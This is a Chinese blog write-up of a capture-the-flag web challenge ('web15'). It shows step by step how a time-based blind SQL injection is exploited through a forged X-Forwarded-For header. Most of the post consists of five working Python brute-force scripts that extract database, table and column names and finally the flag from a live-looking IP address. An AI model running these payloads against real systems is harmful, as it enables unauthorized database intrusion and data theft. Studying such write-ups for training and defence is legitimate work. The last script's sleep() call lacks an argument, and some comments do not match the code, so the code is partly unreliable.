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CTF练习平台——web15

CTF练习平台——web15

作者: queena_ | 来源:发表于2018-02-02 16:13 被阅读0次

    1、web15


    image

    这道题的题目已经将源代码给我们了

    可以看出这是time-based盲注

    点开链接,我们看到

    image

    想到可以尝试各种IP的HTTP头:

        X-Forwarded-For
    
        Client-IP
    
        x-remote-IP
    
        x-originating-IP
    
        x-remote-addr
    

    发现X-Forwarded-For可以伪造


    image

    发现注入的语句原封不动的显示在页面中,但如果注入的语句中有逗号,则逗号后面的内容就不会显示在页面中


    image

    逗号后面的内容被截掉了

    然后就可以写一个脚本爆破得到库名,表名和字段名了

    首先我们来找一下数据库名

    # -*- coding:utf-8 -*-  
    import requests
    import string 
    url = "http://120.24.86.145:8002/web15/"
    guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
    database=[]
    
    for database_number in range(0,100):        #假设爆破前100个库
        databasename=''
        for i in range(1,100):                  #爆破字符串长度,假设不超过100长度
            flag=0
            for str in guess:                   #爆破该位置的字符
                #print 'trying ',str
                headers = {"X-forwarded-for":"'+"+" (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)}
                try:
                    res=requests.get(url,headers=headers,timeout=4)
                except:
                    databasename+=str
                    flag=1
                    print('正在扫描第%d个数据库名,the databasename now is '%(database_number+1) ,databasename)
                    break
            if flag==0:
                break
        database.append(databasename)
        if i==1 and flag==0:
            print('扫描完成')
            break
    
    for i in range(len(database)):
        print(database[i])
    

    找到的数据库为


    TIM截图20180202145718.png

    这里有两个数据库,我们先尝试information_schema这个数据库
    用脚本跑一下有多少列

    # -*- coding:utf-8 -*-  
    import requests
    import string 
    url = "http://120.24.86.145:8002/web15/"
    guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
    database=[]
    
    for table_number in range(0,500):   
        print('trying',table_number)
        headers = {"X-forwarded-for":"'+"+" (select case when (select count(table_name) from information_schema.TABLES ) ='%d' then sleep(5) else 1 end) and '1'='1"%(table_number)}
        try:
            res=requests.get(url,headers=headers,timeout=4)
        except:
            print(table_number)
            break
    
    TIM截图20180202154423.png

    一共42列,一般猜测在最后,前面应该都是information_schema里的那些
    尝试一下

    # -*- coding:utf-8 -*-
    import requests
    import string
    url = "http://120.24.86.145:8002/web15/"
    guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
    tables=[]
    ![TIM截图20180202153421.png](https://img.haomeiwen.com/i9168776/0183444b8a11751c.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
    
    for table_number in range(41,42):           #假设从第60个开始
        tablename=''
        for i in range(1,100):                  #爆破字符串长度,假设不超过100长度
            flag=0
            for str in guess:                   #爆破该位置的字符
                headers = {"X-forwarded-for":"'+"+" (select case when (substring((select table_name from information_schema.TABLES limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(table_number,i,str)}
                try:
                    res=requests.get(url,headers=headers,timeout=4)
                except:
                    tablename+=str
                    flag=1
                    print('正在扫描第%d个数据库名,the tablename now is '%(table_number+1) ,tablename)
                    break
            if flag==0:
                break
        tables.append(tablename)
        if i==1 and flag==0:
            print('扫描完成')
            break
    
    for i in range(len(tables)):
        print(tables[i])
    
    TIM截图20180202153421.png

    找到了flag表

    接下来求列名

    再跑一下有多少列

    # -*- coding:utf-8 -*-
    import requests
    import string
    url = "http://120.24.86.145:8002/web15/"
    guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
    database=[]
    
    for table_number in range(0,1000):
        print('trying',table_number)
        headers = {"X-forwarded-for":"'+"+" (select case when (select count(COLUMN_name) from information_schema.COLUMNS ) ='%d' then sleep(5) else 1 end) and '1'='1"%(table_number)}
        try:
            res=requests.get(url,headers=headers,timeout=4)
        except:
            print(table_number)
            break
    
    TIM截图20180202155052.png

    一共483列
    老思路,直接暴力最后一个

    # -*- coding:utf-8 -*-
    import requests
    import string
    url = "http://120.24.86.145:8002/web15/"
    guess = string.ascii_lowercase+string.ascii_uppercase+string.digits+string.punctuation
    columns=[]
    
    for column_number in range(482,483):            #假设从第60个开始
        cloumnname=''
        for i in range(1,100):                  #爆破字符串长度,假设不超过100长度
            flag=0
            for str in guess:                   #爆破该位置的字符
                #print 'trying',str
                headers = {"X-forwarded-for":"'+"+" (select case when (substring((select COLUMN_name from information_schema.COLUMNS limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(column_number,i,str)}
                try:
                    res=requests.get(url,headers=headers,timeout=4)
                except:
                    cloumnname+=str
                    flag=1
                    print('正在扫描第%d个列名,the cloumnname now is '%(column_number+1) ,cloumnname)
                    break
            if flag==0:
                break
        columns.append(cloumnname)
        if i==1 and flag==0:
            print('扫描完成')
            break
    
    for i in range(len(columns)):
        print(columns[i])
    
    TIM截图20180202155419.png

    然后直接暴力找flag就行了

    import requests
    import string
    words = string.ascii_lowercase + string.ascii_uppercase + string.digits
    url = 'http://120.24.86.145:8002/web15/'
    answer=''
    for length in range(1,100):
        flag=0
        for key in words:
            data = "'+(select case when (substring((select flag from flag) from {0} for 1)='{1}') then sleep() else 1 end) and '1'='1".format(length,str(key))
            headers={
                "X-FORWARDED-FOR": data
            }
            try:
                res=requests.get(url,headers=headers,timeout=5)
            except Exception as e:
                answer+=key
                print(answer)
                flag=1
                break
        if flag==0 and answer!= '':
            break;
    
    print(answer)
    
    flag{cdbf14c9551d5be5612f7bb5d2867853}
    

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